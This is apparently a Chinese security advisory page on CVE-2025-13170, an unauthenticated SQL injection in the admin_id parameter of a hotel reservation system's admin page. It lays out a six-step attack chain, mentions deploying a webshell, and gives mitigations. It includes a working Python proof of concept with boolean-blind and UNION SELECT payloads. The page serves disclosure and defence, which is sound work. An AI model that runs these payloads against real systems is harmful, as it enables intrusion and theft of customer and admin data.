IPBUF安全漏洞报告
English
CVE-2025-13170 CVSS 7.3 高危

CVE-2025-13170 Simple Online Hotel Reservation System SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13170
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Online Hotel Reservation System 1.0

相关标签

SQL注入CVE-2025-13170Simple Online Hotel Reservation Systemcode-projects高危漏洞远程代码执行管理后台web应用安全

漏洞概述

CVE-2025-13170是code-projects团队开发的Simple Online Hotel Reservation System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于管理后台的账户编辑功能中,具体位于/admin/edit_account.php文件。攻击者可以通过操纵admin_id参数,绕过输入验证,将恶意SQL语句注入到后端数据库查询中。由于该漏洞可被远程利用且无需认证,攻击者可以在不获取任何用户凭据的情况下,非法访问、篡改或删除数据库中的敏感信息,包括用户账户、酒店预订记录、支付信息等。此漏洞的CVSS评分为7.3,属于高危级别,对系统的机密性、完整性和可用性都造成一定的负面影响。漏洞利用代码已在公开渠道传播,系统中使用该产品的用户应立即采取防护措施。

技术细节

该SQL注入漏洞源于/admin/edit_account.php文件中对admin_id参数的直接使用,未进行充分的输入过滤和参数化查询。攻击者可以通过HTTP请求构造恶意的SQL payload,例如使用UNION SELECT、布尔盲注或时间盲注等技术提取数据库信息。由于后端可能使用动态SQL拼接,攻击者注入的SQL代码将被数据库服务器执行。典型的利用方式包括:1)通过UNION注入获取数据库版本、当前用户、数据库名称等元信息;2)通过条件判断布尔盲注逐字符猜测管理员密码哈希;3)通过SLEEP()函数进行时间盲注以验证注入点存在。在某些配置下,攻击者甚至可能通过INTO OUTFILE语句将webshell写入服务器,实现远程代码执行。整个攻击过程可通过简单的HTTP请求完成,无需特殊工具或本地访问权限。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标网站,识别出使用的是Simple Online Hotel Reservation System 1.0,并定位到/admin/edit_account.php管理后台入口
STEP 2
步骤2
漏洞探测:攻击者构造包含SQL注入payload的HTTP请求,测试admin_id参数是否存在SQL注入漏洞,使用' AND '1'='1等简单payload验证注入点
STEP 3
步骤3
信息收集:通过UNION注入或盲注技术提取数据库结构、表名、字段名等元信息,确定管理员账户表和敏感数据位置
STEP 4
步骤4
数据窃取:利用SQL注入漏洞获取管理员用户名、密码哈希、邮箱等敏感信息,可能包括用户预订记录和个人身份信息
STEP 5
步骤5
权限提升:使用窃取的凭据登录管理后台,进一步获取系统更高权限,可能通过文件写入实现webshell部署
STEP 6
步骤6
持久化控制:在成功入侵后,攻击者可能创建后门账户、修改数据库记录或植入恶意代码,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13170 SQL Injection PoC # Target: Simple Online Hotel Reservation System 1.0 # Vulnerability: /admin/edit_account.php admin_id parameter def exploit(target_url, admin_id): """ SQL Injection exploit for CVE-2025-13170 Tests for boolean-based blind SQL injection """ # Normal request baseline normal_url = f"{target_url}/admin/edit_account.php?admin_id={admin_id}" try: normal_resp = requests.get(normal_url, timeout=10) normal_length = len(normal_resp.text) # Boolean-based blind SQL injection test # If 'admin' exists, the condition is true and page behaves normally true_payload = f"{admin_id}' AND '1'='1" false_payload = f"{admin_id}' AND '1'='2" true_url = f"{target_url}/admin/edit_account.php?admin_id={true_payload}" false_url = f"{target_url}/admin/edit_account.php?admin_id={false_payload}" true_resp = requests.get(true_url, timeout=10) false_resp = requests.get(false_url, timeout=10) # If true and false responses differ, vulnerability exists if len(true_resp.text) != len(false_resp.text): print(f"[+] SQL Injection Vulnerability Confirmed!") print(f"[+] Target: {target_url}") print(f"[+] Vulnerable Parameter: admin_id") print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition length: {len(true_resp.text)}") print(f"[*] False condition length: {len(false_resp.text)}") return True else: print("[-] Vulnerability not detected") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url, admin_id): """ Extract database information using UNION-based injection """ # Database version extraction payload = f"{admin_id}' UNION SELECT NULL,version(),user(),database()-- -" url = f"{target_url}/admin/edit_account.php?admin_id={payload}" try: resp = requests.get(url, timeout=10) if 'UNION' in resp.text or len(resp.text) > 0: print(f"[*] Database extraction payload sent") print(f"[*] Check response for database information") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13170.py <target_url> <admin_id>") print("Example: python cve-2025-13170.py http://localhost 1") sys.exit(1) target = sys.argv[1].rstrip('/') admin_id = sys.argv[2] print(f"[*] Testing CVE-2025-13170 SQL Injection") print(f"[*] Target: {target}") if exploit(target, admin_id): print("\n[*] Attempting data extraction...") extract_data(target, admin_id)

影响范围

Simple Online Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制/admin/edit_account.php页面的访问,仅允许可信IP访问;2)部署Web应用防火墙规则阻断包含SQL注入特征的请求;3)对admin_id参数实施严格的输入验证,限制为纯数字格式;4)监控数据库日志,及时发现异常的SQL查询行为;5)考虑暂时关闭管理后台的账户编辑功能,待漏洞修复后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表